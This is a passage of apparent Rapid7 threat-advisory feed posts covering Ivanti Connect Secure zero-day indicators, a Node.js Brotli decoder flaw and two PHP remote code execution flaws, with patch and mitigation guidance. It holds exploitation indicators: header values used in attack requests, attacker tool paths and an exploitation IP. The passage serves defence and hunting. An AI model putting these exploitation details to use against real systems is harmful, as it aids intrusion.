style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Artifacts, evidence sources, and IOCs</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The following guidance and artifacts are from Volexity's investigation:</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Hunting guidance:</strong></span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Review requests to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/dana-na/auth/url_default/welcome.cgi</span><span style='font-size: undefined;'>, especially URL/header mismatches involving </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>X-DSCGI-PATH</span><span style='font-size: undefined;'>. Observed values include:</span></p></li></ul><pre language="html">X-DSCGI-PATH: /home/webserver/htdocs/dana/fb/smb/wu.cgi
X-DSCGI-PATH: /home/runtime/tmp/&lt;MD5(filename)&gt;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Evidence sources on the appliance:</strong></span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>/tmp/</span><span style='font-size: undefined;'>: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ml.py</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>rq5.py</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>mk.py</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>rr.py</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>pu.txt</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>sp_out.txt</span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>spray_hits.json</span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>/data/.icscap/</span><span style='font-size: undefined;'>: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>dsstatmond</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>cap*</span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>h.py</span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>/home/runtime/tmp/</span><span style='font-size: undefined;'>: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ics-root-run-inband-*.pl</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ics-root-result-inband-*</span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>/home/runtime/dlogs/debuglog</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/var/log/audit/audit.log</span><span style='font-size: undefined;'>: investigate evidence of selective deletion.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Network IOCs:</strong></span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>108.165.147[.]64</span><span style='font-size: undefined;'>: UTA0576 exploitation IP, per Volexity's </span><a href="https://github.com/volexity/threat-intel/blob/main/2026/2026-10-13%20Ivanti/iocs.csv"><span style='font-size: undefined;'>IOC list</span></a><span style='font-size: undefined;'>.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Volexity also provides </span><a href="https://github.com/volexity/threat-intel/blob/main/2026/2026-10-13%20Ivanti/rules.yar"><span style='font-size: undefined;'>YARA rules</span></a><span style='font-size: undefined;'> for request-header evidence and the privilege escalation payload in memory.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-111357 and CVE-2026-118527 with authenticated vulnerability checks available since the 2026-10-30 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 2, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-additional-ivanti-connect-secure-zero-days-exploited-in-the-wild-cve-2026-111357-cve-2026-118527</link>
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      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Mon, 02 Nov 2026 11:04:08 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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    <item>
      <title><![CDATA[CVE-2026-111497: Critical out-of-bounds write in the Node.js Brotli decoder]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 21, 2026, the Node.js Project </span><a href="https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high"><span style='font-size: undefined;'>published a security advisory</span></a><span style='font-size: undefined;'> for </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-111497"><span style='font-size: undefined;'>CVE-2026-111497</span></a><span style='font-size: undefined;'>, an out-of-bounds write in the Brotli decoder bundled with Node.js. The vulnerability affects the Node.js </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.x</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.x</span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.x</span><span style='font-size: undefined;'> release lines. Node.js rates the issue High, while Google, the CVE Numbering Authority (CNA), gives it a critical CVSSv4 score of </span><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>9.2</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>An attacker who can supply Brotli data that an application decompresses with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>node:zlib</span><span style='font-size: undefined;'> can corrupt process memory. According to Node.js, this corruption can lead to a process crash, disclosure of sensitive process memory, or remote code execution. Exposure therefore depends on whether an application passes attacker-controlled compressed data to the affected decoder.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On October 27, 2026, CVE-2026-111497 was </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-111497"><span style='font-size: undefined;'>added</span></a><span style='font-size: undefined;'> to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. Given the vulnerability's potential to disclose memory or enable remote code execution (RCE), Rapid7 recommends that organizations prioritize remediation.</span></p><h2 style="direction: ltr;">Technical overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-111497 is classified as an out-of-bounds write (</span><a href="https://cwe.mitre.org/data/definitions/787.html"><span style='font-size: undefined;'>CWE-787</span></a><span style='font-size: undefined;'>) and an unchecked return value (</span><a href="https://cwe.mitre.org/data/definitions/252.html"><span style='font-size: undefined;'>CWE-252</span></a><span style='font-size: undefined;'>). Per the vendor advisory, the decoder handled an invalid Brotli block switch as a temporary need for more input instead of a permanent format error. The streaming decoder then continued appending input bytes to an eight-byte internal buffer, allowing malformed input to write beyond the buffer and corrupt process memory.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vulnerability originates in Google Brotli, which the affected Node.js release lines bundle as a dependency. The CVE record identifies affected upstream Brotli ranges on all platforms as versions </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.0.3</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.0.10</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.1.0</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.1.1</span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.2.0</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.2.1</span><span style='font-size: undefined;'>. The Node.js Project remediated its bundled decoder in the fixed Node.js releases listed below.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Because CVE-2026-111497 affects the upstream Google Brotli decoder, its reach is not limited to Node.js. Vendor and project advisories have also identified affected implementations in </span><a href="https://github.com/oven-sh/bun/security/advisories/GHSA-663w-cv8g-jj2p"><span style='font-size: undefined;'>Bun</span></a><span style='font-size: undefined;'>, Python's </span><a href="https://github.com/pypa/advisory-database/blob/main/vulns/brotli/PYSEC-2026-4322.yaml"><span style='font-size: undefined;'>Brotli</span></a><span style='font-size: undefined;'> and </span><a href="https://github.com/pypa/advisory-database/blob/main/vulns/brotlicffi/PYSEC-2026-4323.yaml"><span style='font-size: undefined;'>brotlicffi</span></a><span style='font-size: undefined;'> packages, </span><a href="https://devblogs.microsoft.com/dotnet/dotnet-october-2026-oob-security-updates/"><span style='font-size: undefined;'>.NET</span></a><span style='font-size: undefined;'>, </span><a href="https://github.com/envoyproxy/envoy/security/advisories/GHSA-3wvj-j6qm-62mr"><span style='font-size: undefined;'>Envoy</span></a><span style='font-size: undefined;'> and </span><a href="https://istio.io/latest/news/security/istio-security-2026-007/"><span style='font-size: undefined;'>Istio</span></a><span style='font-size: undefined;'>, </span><a href="https://github.com/hyperxpro/Brotli4j/security/advisories/GHSA-x524-jrqf-vwq6"><span style='font-size: undefined;'>brotli4j</span></a><span style='font-size: undefined;'>, and </span><a href="https://access.redhat.com/security/vulnerabilities/RHSB-2026-015"><span style='font-size: undefined;'>operating-system packages</span></a><span style='font-size: undefined;'>. Affected versions, default exposure, and remediation vary by product; the presence of an affected decoder does not by itself establish exposure unless an application processes attacker-controlled Brotli data. Organizations should consult the relevant downstream vendor or distribution advisories to identify affected versions, assess exposure, and determine appropriate remediation.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Vendor-supplied security updates are available to remediate CVE-2026-111497. Organizations running an affected Node.js release should upgrade on an urgent basis, outside of normal patch cycles:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Node.js </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.x</span><span style='font-size: undefined;'> releases before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.23.4</span><span style='font-size: undefined;'> are affected; upgrade to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.23.4</span><span style='font-size: undefined;'> or later.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Node.js </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.x</span><span style='font-size: undefined;'> releases before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.22.1</span><span style='font-size: undefined;'> are affected; upgrade to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.22.1</span><span style='font-size: undefined;'> or later.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Node.js </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.x</span><span style='font-size: undefined;'> releases before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.12.1</span><span style='font-size: undefined;'> are affected; upgrade to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.12.1</span><span style='font-size: undefined;'> or later.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vendor states that end-of-life Node.js release lines should also be treated as affected when a security release occurs. Organizations using an end-of-life release should migrate to a supported, fixed release line. Node.js has not published a vendor-supported workaround; if an immediate upgrade is not possible, Rapid7 recommends restricting or disabling application paths that decompress untrusted Brotli data as a temporary exposure-reduction measure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to the </span><a href="https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high"><span style='font-size: undefined;'>Node.js security advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-111497 with an authenticated vulnerability check for Linux, macOS, and Windows, available in the October 26 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 26, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>October 26, 2026</strong></span>: Updated the Exposure Command, Vulnerability Management, and Nexpose section to reflect coverage availability.</li><li><span style='font-size: undefined;'><strong>October 27, 2026</strong></span><span style='font-size: undefined;'>: Updated Overview to add a reference to CVE-2026-111497 being added to the CISA KEV list.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-111497-critical-out-of-bounds-write-in-the-node-js-brotli-decoder</link>
      <guid isPermaLink="false">blt3500a9ec0b7391bd</guid>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Mon, 26 Oct 2026 17:32:46 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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      <title><![CDATA[CVE-2026-109618 and CVE-2026-109619: Critical Unauthenticated Remote Code Execution in PHP]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 21, 2026, the PHP project </span><a href="https://www.php.net/archive/2026.php#2026-10-21-5"><span style='font-size: undefined;'>announced security releases</span></a><span style='font-size: undefined;'> for two critical vulnerabilities in PHP. </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-109618"><span style='font-size: undefined;'>CVE-2026-109618</span></a><span style='font-size: undefined;'> can corrupt memory during out-of-memory (OOM) handling, while </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-109619"><span style='font-size: undefined;'>CVE-2026-109619</span></a><span style='font-size: undefined;'> is a use-after-free flaw involving state retained between requests. Both have a CVSSv4 score of 9.2 and both can allow for unauthenticated remote code execution (RCE) with the web worker's privileges.</span></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVSSv4</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Description</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w"><span style='font-size: undefined;'>CVE-2026-109618</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>9.2 (Critical)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>RCE via OOM corruption</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp"><span style='font-size: undefined;'>CVE-2026-109619</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>9.2 (Critical)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>RCE via stale global state</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>All installations serving web requests are at risk, including PHP-FPM, Apache mod_php, php-cgi, FrankenPHP, and LiteSpeed. The vendor considers mod_php the highest risk because exploitation can succeed before any application code runs.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The advisories report that a successful RCE exploit was developed during research, including achieving RCE against Apache mod_php and PHP-FPM through different attack paths. As of October 21, 2026, there are multiple indications that this research is being independently reproduced, and a viable exploit is expected to be made public soon.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Due to the extremely high deployment of PHP based web applications, exploitation in-the-wild is expected. </span><span style='font-size: undefined;'><strong>Rapid7 recommends updating affected installations on an emergency basis, outside of normal patch cycles.</strong></span></p><p><span style='font-size: undefined;'>Multiple public proof-of-concept (PoC) exploits for CVE-2026-109618 and CVE-2026-109619 are now available. Rapid7 researchers have reviewed these and observe that each demonstrates RCE only against a specific combination of operating system, PHP version, and web server, and none appears to be broadly reliable. Rapid7’s own research supports this. Our attempts so far have produced a working exploit only under narrow lab conditions, and exploitation depends on assumptions that are unlikely to hold on internet-facing instances. We are continuing to investigate approaches that could improve portability, but have not yet developed a reliable, general-purpose exploit. Rapid7 has not observed exploitation in the wild, though there are multiple reports of exploitation attempts, which is expected for a vulnerability of this profile. The situation is evolving quickly, and a more portable exploit technique could emerge at any time. The current difficulty of reliable exploitation should be treated as a window to patch rather than a reason to delay, and Rapid7 continues to recommend updating affected installations on an emergency basis.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Update #1</strong></span><span style='font-size: undefined;'>: On October 26, 2026, </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-109618/"><span style='font-size: undefined;'>CVE-2026-109618</span></a><span style='font-size: undefined;'> and </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-109619/"><span style='font-size: undefined;'>CVE-2026-109619</span></a><span style='font-size: undefined;'> were </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV)</span></a><span style='font-size: undefined;'>, based on evidence of active exploitation. CISA set the remediation due date to October 29, 2026, for affected Federal Civilian Executive Branch agencies and directs them to follow the associated </span><a href="https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk"><span style='font-size: undefined;'>BOD 26-04 forensic triage requirements</span></a><span style='font-size: undefined;'>. Rapid7 continues to recommend updating affected installations on an emergency basis and investigating for prior compromise.</span></p><h2 style="direction: ltr;">Technical overview</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>CVE-2026-109618: Memory corruption during OOM handling</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>According to the </span><a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w"><span style='font-size: undefined;'>OOM advisory</span></a><span style='font-size: undefined;'>, PHP can abruptly abandon request processing when a memory allocation fails. If internal request data is only partly initialized, that exit can leave invalid data for request cleanup to use. Crafted multipart requests, used for forms and file uploads, can exhaust memory even when their size appears to meet PHP's configured limits. Application operations that allocate memory in response to attacker input can also trigger OOM.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Apache mod_php runs cleanup even when request startup fails, enabling the demonstrated attack before application code executes. The advisory reports RCE over HTTP with default PHP input and memory limits, including multi-worker prefork deployments. PHP-FPM terminates a worker when startup fails, preventing that particular sequence. Source analysis supports FPM susceptibility after successful startup, but the advisory reports no complete FPM exploit for this CVE. Exploit portability and reliability depend on the PHP build, extensions, frontend behavior, and memory layout.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>CVE-2026-109619: Use after free across requests</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>PHP can reuse a worker process to handle multiple HTTP requests. The </span><a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp"><span style='font-size: undefined;'>stale-state advisory</span></a><span style='font-size: undefined;'> describes internal state that still points to memory freed at the end of an earlier request. A later request handled by the same worker can access that stale value before normal initialization clears it. Fatal errors, including memory exhaustion and execution timeouts, can interrupt state cleanup; some nonfatal diagnostics during shutdown can also repopulate error state after it was reset.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The advisory confirms RCE against mod_php through PHP 8.5's fatal error backtrace feature, when </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>fatal_error_backtraces</span><span style='font-size: undefined;'> is enabled (the default), where a later initialization diagnostic accesses stale backtrace state. It also confirms session lifecycle RCE against mod_php and FPM. Session upload progress, PHP's upload-tracking feature, is enabled by default and can act as an early consumer of stale session or decoder state before normal initialization; reaching this consumer does not itself require an application call to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>session_start()</span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The validated FPM session path requires a suitable application operation to leave state behind after successful startup, followed by a fatal error and another request that consumes the stale state through session upload progress. Both requests must reach the same worker. Multiple workers and worker recycling can reduce success per request, but do not eliminate the condition.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>PHP has released fixes for both vulnerabilities. Organizations should prioritize updating to the appropriate fixed release or a vendor package containing both complete patches. The PHP advisories list these affected and fixed versions:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>PHP 8.2 releases before 8.2.35: Update to 8.2.35</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>PHP 8.3 releases before 8.3.36: Update to 8.3.36</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>PHP 8.4 releases before 8.4.27: Update to 8.4.27</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>PHP 8.5 releases before 8.5.12: Update to 8.5.12</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Linux distributions and long-term support vendors received patches in advance; check your vendor for updated packages. PHP 8.1 and older no longer receive routine upstream updates. For this incident, PHP has supplied limited source backports for </span><a href="https://github.com/php/php-src/tree/PHP-7.4-CVE-2026-109618-109619"><span style='font-size: undefined;'>PHP 7.4</span></a><span style='font-size: undefined;'>, </span><a href="https://github.com/php/php-src/tree/PHP-8.0-CVE-2026-109618-109619"><span style='font-size: undefined;'>8.0</span></a><span style='font-size: undefined;'>, and </span><a href="https://github.com/php/php-src/tree/PHP-8.1-CVE-2026-109618-109619"><span style='font-size: undefined;'>8.1</span></a><span style='font-size: undefined;'>. Organizations running older branches should obtain a vendor fix, use the source backports described in the </span><a href="https://www.php.net/archive/2026.php#2026-10-21-5"><span style='font-size: undefined;'>PHP announcement</span></a><span style='font-size: undefined;'>, or upgrade to a supported version. PHP also warns that </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>rpms.remirepo.net</span><span style='font-size: undefined;'> will not have updates on October 21, 2026, and urges its users to switch to distribution packages or build from source.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Note that an update containing both complete fixes is the only complete remediation.</strong></span><span style='font-size: undefined;'> </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PHP's temporary configuration measures </span><span style='font-size: undefined;'><em>reduce </em></span><span style='font-size: undefined;'>exposure to specific paths and require careful deployment:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>For the OOM issue, enforce </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>memory_limit=-1</span><span style='font-size: undefined;'> administratively, such as through FPM pool or Apache configuration that applications cannot override. This disables PHP's per-request memory cap and removes the predictable PHP-limit failure used by the confirmed exploit. An underlying allocation failure can still reach the vulnerable path. Restart every worker and verify that no pool, directory, or application setting restores a finite limit.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>For the session lifecycle path, set </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>session.upload_progress.enabled=0</span><span style='font-size: undefined;'> in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>php.ini</span><span style='font-size: undefined;'>, an FPM pool, or server configuration that applies before request parsing, then restart every worker. Application-level </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ini_set()</span><span style='font-size: undefined;'> and FPM </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>.user.ini</span><span style='font-size: undefined;'> are too late. This addresses the confirmed session paths only.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>On PHP 8.5, set </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>fatal_error_backtraces=0</span><span style='font-size: undefined;'> administratively and restart every worker. This addresses the confirmed fatal backtrace path only; other retained state remains a concern.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Disabling PHP's memory cap makes independent resource controls particularly important. PHP recommends </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>post_max_size=8M</span><span style='font-size: undefined;'> where uploads are unnecessary or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>post_max_size=32M</span><span style='font-size: undefined;'> where they are needed, with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>upload_max_filesize</span><span style='font-size: undefined;'> below that limit. At the frontend, bound decoded request size, input and multipart counts, headers per part, and nesting depth, including requests without a usable </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>Content-Length</span><span style='font-size: undefined;'>. If the application does not use multipart data, block those requests before they reach PHP.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Container or cgroup memory limits are also incomplete: allocation failures remain possible, and enforcement can kill the master process and all workers unless workers are isolated. Do not substitute </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>RLIMIT_AS</span><span style='font-size: undefined;'> or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>RLIMIT_DATA</span><span style='font-size: undefined;'>, which can trigger the vulnerable allocation-failure path.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For stale-state exposure, correct invalid or deprecated per-request settings and attacker-reachable fatal errors or timeouts. Hiding diagnostics through </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>error_reporting</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>display_errors</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>log_errors</span><span style='font-size: undefined;'>, or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>@</span><span style='font-size: undefined;'> does not prevent stale-state access. The absence of relevant log entries is not proof that an installation is safe.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, refer to PHP's </span><a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w" target="_blank"><span style='font-size: undefined;'>OOM corruption advisory</span></a><span style='font-size: undefined;'> and </span><a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp" target="_blank"><span style='font-size: undefined;'>stale global state advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><p style="direction: ltr;"><span style='font-size: undefined;'>To learn how to use Rapid7 capabilities to find systems affected by these vulnerabilities and for answers to common questions, read the </span><a href="https://docs.rapid7.com/insightvm/php2shell/" target="_blank"><span style='font-size: undefined;'>PHP2Shell documentation</span></a><span style='font-size: undefined;'>.</span></p><p>For Rapid7 Customers with questions regarding Rapid7 products and their usage of PHP please consult <a href="/trust/advisories/php-cve-2026-109618-cve-2026-109619/" target="_blank"><span style='font-size: undefined;'>this page.</span></a><span style='font-size: undefined;'></span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-109618 and CVE-2026-109619 with remote unauthenticated vulnerability checks, available in a dedicated release that followed the regular October 21 content release.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 has also released authenticated scan checks for both the Scan Engine and the Agent for CVE-2026-109618 and CVE-2026-109619 as part of the October 22 content release.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Authenticated, package-based checks are now available for a variety of Linux distributions.  These checks evaluate installed distribution packages, so they can recognize backported fixes that keep the original upstream PHP version number. Run an authenticated scan with this content release to use them. For the full list of checks and supported distribution versions, read Rapid7’s</span><a href="https://docs.rapid7.com/insightvm/php2shell/#31-exposure-command-vulnerability-management-insightvm-and-nexpose"><span style='font-size: undefined;'> PHP2Shell documentation</span></a><span style='font-size: undefined;'>, where package-based coverage for other distributions will be added as their fixes are published.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In a dedicated October 23 content release following the regular release, Rapid7 has released coverage for CVE-2026-115560, </span><a href="https://www.php.net/archive/2026.php#2026-10-23-1" target="_blank"><span style='font-size: undefined;'>published on October 23</span></a><span style='font-size: undefined;'> by the PHP Foundation. A mitigation technique is available, but no patch has yet been published. Exploitation of CVE-2026-115560 relies on non-standard configuration.</span></p><p><span style='font-size: undefined;'><em>Current</em></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><em>scope for authenticated coverage: Windows, macOS and Linux. Remote unauthenticated coverage provides coverage regardless of web-server OS.</em></span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 